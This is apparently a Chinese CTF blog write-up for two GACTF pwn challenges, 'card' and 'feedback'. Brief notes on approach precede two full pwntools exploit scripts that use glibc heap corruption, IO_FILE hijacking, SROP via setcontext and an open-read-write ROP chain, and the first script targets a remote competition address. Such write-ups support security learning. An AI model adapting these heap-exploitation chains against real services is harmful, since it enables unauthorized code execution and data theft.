刚开学没做什么题,就先放两个吧,一个是比赛时候做出来的,一个是一个师傅问我什么思路然后我自己后期打出来的非预期 下载附件
card
本来不想打GACTF,奈何学长咕咕了,所以呢,起床吃完午饭回来拿了个二血,之后就没去做了
简单的堆溢出,可以通过劫持IO leak stack地址,也可以劫持IO 利用 IO里面的chain指针和 malloc_hook 在exit劫持成SROP
1 | from pwn import* |
2 | context.arch = 'AMD64' |
3 | def menu(ch): |
4 | p.sendlineafter('Choice:',str(ch)) |
5 | def new(size): |
6 | menu(1) |
7 | p.sendlineafter('Size:',str(size)) |
8 | def edit(index,content): |
9 | menu(2) |
10 | p.sendlineafter('Index:',str(index)) |
11 | p.sendafter('Message',content) |
12 | def free(index): |
13 | menu(3) |
14 | p.sendlineafter('Index:',str(index)) |
15 | def E(index,content): |
16 | menu(5) |
17 | p.sendlineafter('Index:',str(index)) |
18 | p.sendafter('Message',content) |
19 | p = process('./main') |
20 | p = remote('119.3.154.59',9777) |
21 | libc = ELF('./libc-2.31.so') |
22 | new(0x30) #0 |
23 | new(0x28) #1 |
24 | new(0xF0) #2 |
25 | new(0xF0) #3 |
26 | new(0xF0) #4 |
27 | new(0xF0) #5 |
28 | new(0x28) #6 |
29 | new(0x28) #7 |
30 | edit(0,'F'*0x28 + p32(0x431)) |
31 | edit(1,'M'*0x28) |
32 | free(2) |
33 | new(0xF0) #2 |
34 | new(0xF0) #8 |
35 | new(0xF0) #9 |
36 | new(0xF0) #10 |
37 | new(0x28) #11 |
38 | |
39 | edit(1,'M'*0x28) |
40 | free(2) |
41 | new(0xF0) #2 |
42 | new(0xF0) #12 |
43 | new(0x1F0) #13 |
44 | new(0x28) #14 |
45 | new(0x1F0) #15 |
46 | for i in range(6): |
47 | new(0xF0) #16 |
48 | for i in range(6): |
49 | free(16 + i) |
50 | free(3) |
51 | edit(8,'F'*0x10) |
52 | free(8) |
53 | E(12,'\xA0\x36') |
54 | new(0xF0) # 3 |
55 | new(0xF0) # 8 stdout |
56 | E(8,p64(0xFBAD1800) + p64(0)*3 + '\x08') |
57 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
58 | log.info('LIBC:\t' + hex(libc_base)) |
59 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
60 | ###########3 |
61 | pop_rdi_ret = libc_base + 0x0000000000026B72 |
62 | pop_rdx_r12 = libc_base + 0x000000000011C1E1 |
63 | pop_rsi_ret = libc_base + 0x0000000000027529 |
64 | pop_rax_ret = libc_base + 0x000000000004A550 |
65 | jmp_rsi = libc_base + 0x00000000001105BD |
66 | |
67 | |
68 | syscall = libc_base + libc.sym['syscall'] |
69 | |
70 | target = libc_base + libc.sym['_IO_2_1_stdin_'] |
71 | address = libc.sym['__free_hook'] + libc_base |
72 | IO_str_jumps = libc_base + 0x1ED560 |
73 | frame_address = target + 0xE0 |
74 | |
75 | Open = libc_base + libc.symbols["open"] |
76 | Read = libc_base + libc.symbols["read"] |
77 | Puts = libc_base + libc.symbols['puts'] |
78 | free_hook = address |
79 | IO = '\x00'*0x28 |
80 | IO += p64(frame_address) |
81 | IO = IO.ljust(0xD8,'\x00') |
82 | IO += p64(IO_str_jumps) |
83 | read = libc_base + libc.sym['read'] |
84 | frame = SigreturnFrame() |
85 | frame.rax = 0 |
86 | frame.rdi = 0 |
87 | frame.rsi = address |
88 | frame.rdx = 0x2000 |
89 | frame.rsp = address |
90 | frame.rip = Read |
91 | |
92 | |
93 | orw = p64(pop_rdi_ret)+p64(free_hook + 0xF8) |
94 | orw += p64(pop_rsi_ret)+p64(0) |
95 | orw += p64(Open) |
96 | orw += p64(pop_rdi_ret) + p64(3) |
97 | orw += p64(pop_rdx_r12) + p64(0x30) + p64(0) |
98 | orw += p64(pop_rsi_ret) + p64(free_hook+0x100) |
99 | orw += p64(Read) |
100 | orw += p64(pop_rdi_ret)+p64(free_hook+0x100) |
101 | orw += p64(Puts) |
102 | orw = orw.ljust(0xF8,'\x00') |
103 | orw += './flag\x00\x00' |
104 | IO += str(frame) |
105 | free(15) |
106 | free(13) |
107 | edit(9,p64(target)) |
108 | new(0x1F8) # 13 |
109 | new(0x1F8) # 15 target |
110 | E(15,IO + 'F'*0x18 + p64(libc_base + libc.sym['setcontext'] + 61)) |
111 | |
112 | p.sendlineafter('Choice:','4') |
113 | p.sendline(orw) |
114 | p.interactive() |
feedback
一个师傅问了我几个存在的功能,然后他问我思路,我想了想,想出了这个方法,和官方WP不一样,但是都是打IO,三个多小时就写好exp了,不知道为什么是0解题,我感觉不难啊
1. 只要 read_end和write_ptr相等貌似就能leak出libc,所以一个off by null,多构造几个堆块重叠,然后打global_max_fast
2. 之后free 一个大块两次,分别覆盖_IO_2_1_stdout_中的read_end和write_ptr指针,之后就能leak 出libc
3. 然后此时利用FSOP 2.24之后的方法,劫持buf_base指向main_arena
而main_arena可以利用fastbin的残留信息,通过一个0x100块的double free劫持过去布置SROP
我本地为了环境方便替换libc-2.23.so的版本为最新的那个版本,不知道会不会与原题目太大的差距
1 | from pwn import* |
2 | import os |
3 | context.arch = 'AMD64' |
4 | def menu(ch): |
5 | p.sendlineafter('>>',str(ch)) |
6 | def new(size,content): |
7 | menu(1) |
8 | p.sendlineafter('length?',str(size)) |
9 | p.sendafter('for us:',content) |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('revoke?',str(index)) |
13 | def edit(index,content): |
14 | menu(3) |
15 | p.sendlineafter('edit?',str(index)) |
16 | p.sendafter('content:',content) |
17 | def F(index): |
18 | p.sendline('2') |
19 | p.sendline(str(index)) |
20 | def N(size,content): |
21 | p.sendline('1') |
22 | p.sendline(str(size)) |
23 | p.send(content) |
24 | def E(index,content): |
25 | p.sendline(str(3)) |
26 | sleep(1) |
27 | p.sendline(str(index)) |
28 | sleep(1) |
29 | p.send(content) |
30 | sleep(1) |
31 | def gift(): |
32 | menu(666) |
33 | |
34 | while True: |
35 | p = process('./main') |
36 | libc = ELF('./libc-2.23.so') |
37 | try: |
38 | new(0x10,'FMYY') |
39 | new(0x10,'FMYY') |
40 | new(0xF0,'FMYY') |
41 | new(0xF0,'FMYY') |
42 | new(0xF0,'FMYY') |
43 | new(0xF0,'FMYY') |
44 | free(2) |
45 | free(0) |
46 | new(0xF8,'\x00'*0xF0 + p64(0x140)) #0 |
47 | free(3) |
48 | new(0x10,'FMYY') #2 |
49 | new(0x10,'FMYY') #3 3 = 1 |
50 | new(0xF0,'FMYY') #6 6 = 0 |
51 | new(0xF0,'FMYY') #7 |
52 | ############# |
53 | free(2) |
54 | free(0) |
55 | new(0xF8,'\x00'*0xF0 + p64(0x140)) #0 |
56 | free(7) |
57 | new(0x10,'FMYY') #2 |
58 | new(0x10,'FMYY') #7 = 3 = 1 |
59 | new(0xF0,'FMYY') #8 = 6 = 0 |
60 | new(0xF0,'FMYY') #9 |
61 | |
62 | ############### |
63 | free(9) |
64 | free(2) |
65 | new(0xF8,'\x00'*0xF0 + p64(0x240)) #2 |
66 | free(4) |
67 | new(0x10,'FMYY') #4 |
68 | new(0x10,'FMYY') #9 = 7 = 3 = 1 |
69 | new(0x19,'FMYY') #10 = 8 = 6 = 0 |
70 | new(0xF0,'FMYY') #11 = 2 |
71 | new(0xF0,'FMYY') #12 |
72 | ############### |
73 | for i in range(0x13): |
74 | new(0xF0,(p64(0) + p64(0x11)) * ( 0xF0 / 0x10)) |
75 | sleep(0.01) |
76 | free(0) |
77 | edit(6,'\x00'*8 + '\xE8\x37') |
78 | new(0xF0,'\x00'*0x10 + p64(0x11)) |
79 | free(1) |
80 | free(4) |
81 | free(3) |
82 | free(0x16) # no.... |
83 | new(0x10,'\x38') |
84 | new(0x10,'FMYY') |
85 | new(0x11,'\x00'*0x10 + '\x21') |
86 | new(4,p32(0x1631)) |
87 | free(6) |
88 | E(0x16,p32(0x1651)) |
89 | F(0) |
90 | libc_base = u64(p.recvuntil('\x7F',timeout=0.5)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdout_'] - 131 |
91 | log.info('LIBC:\t' + hex(libc_base)) |
92 | binsh = libc_base + libc.search('/bin/sh').next() |
93 | system = libc_base + libc.sym['system'] |
94 | IO_str_jumps = libc_base + 0x3C37A0 |
95 | frame_address = libc_base + libc.sym['__malloc_hook'] + 0x10 |
96 | pop_rdi_ret = libc_base + 0x0000000000021112 |
97 | pop_rsi_ret = libc_base + 0x00000000000202F8 |
98 | pop_rdx_ret = libc_base + 0x0000000000001B92 |
99 | ret = libc_base + 0x0000000000000937 |
100 | syscall = libc_base + 0xF8A95 |
101 | Write = libc_base + libc.sym['write'] |
102 | Read = libc_base + libc.sym['read'] |
103 | Open = libc_base + libc.sym['open'] |
104 | frame = SigreturnFrame() |
105 | frame.rax = 0 |
106 | frame.rdi = 0 |
107 | frame.rsi = frame_address |
108 | frame.rdx = 0x100 |
109 | frame.rsp = frame_address |
110 | frame.rip = syscall |
111 | |
112 | edit(0x16,p32(0x1410)) |
113 | fake_IO_FILE = p64(0)*2 |
114 | fake_IO_FILE += p64(0) + p64(0x100) |
115 | fake_IO_FILE += p64(0) + p64(frame_address) |
116 | fake_IO_FILE = fake_IO_FILE.ljust(0xC8,'\x00') |
117 | fake_IO_FILE += p64(IO_str_jumps -8) |
118 | fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53) |
119 | edit(8,fake_IO_FILE) |
120 | free(10) |
121 | free(1) |
122 | free(3) |
123 | free(4) |
124 | new(0x10,p64(0x101)) |
125 | new(0x10,'FMYY') |
126 | new(0x10,'FMYY') |
127 | free(2) |
128 | free(0x17) |
129 | free(11) |
130 | new(0xF0,p64(libc_base + libc.sym['__malloc_hook'] + 0x10)) |
131 | new(0xF0,'FMYY') |
132 | new(0xF0,'FMYY') |
133 | new(0xF0,str(frame)[0x10:0x100]) |
134 | free(0) |
135 | free(3) |
136 | free_hook = libc_base + libc.sym['__free_hook'] |
137 | orw = p64(pop_rdi_ret) + p64(frame_address + 0x98) |
138 | orw += p64(pop_rsi_ret) + p64(0) |
139 | orw += p64(Open) |
140 | orw += p64(pop_rdi_ret) + p64(3) |
141 | orw += p64(pop_rsi_ret) + p64(free_hook) |
142 | orw += p64(pop_rdx_ret) + p64(0x30) |
143 | orw += p64(Read) |
144 | orw += p64(pop_rdi_ret) + p64(1) |
145 | orw += p64(pop_rsi_ret) + p64(free_hook) |
146 | orw += p64(pop_rdx_ret) + p64(0x30) |
147 | orw += p64(Write) |
148 | orw = orw.ljust(0x90,'\x00') |
149 | orw += './flag\x00\x00' |
150 | sleep(1) |
151 | p.sendline(orw) |
152 | break |
153 | |
154 | except: |
155 | p.close() |
156 | context.log_level = 20 |
157 | continue |
158 | os.system('rm core') |
159 | p.recvuntil('CTF_FLAG') |
160 | log.info('FLAG:\t' + 'CTF_FLAG' + p.recvuntil('}')) |
161 | p.interactive() |
Continue
剩下的题看心情复现吧 ^-^ ……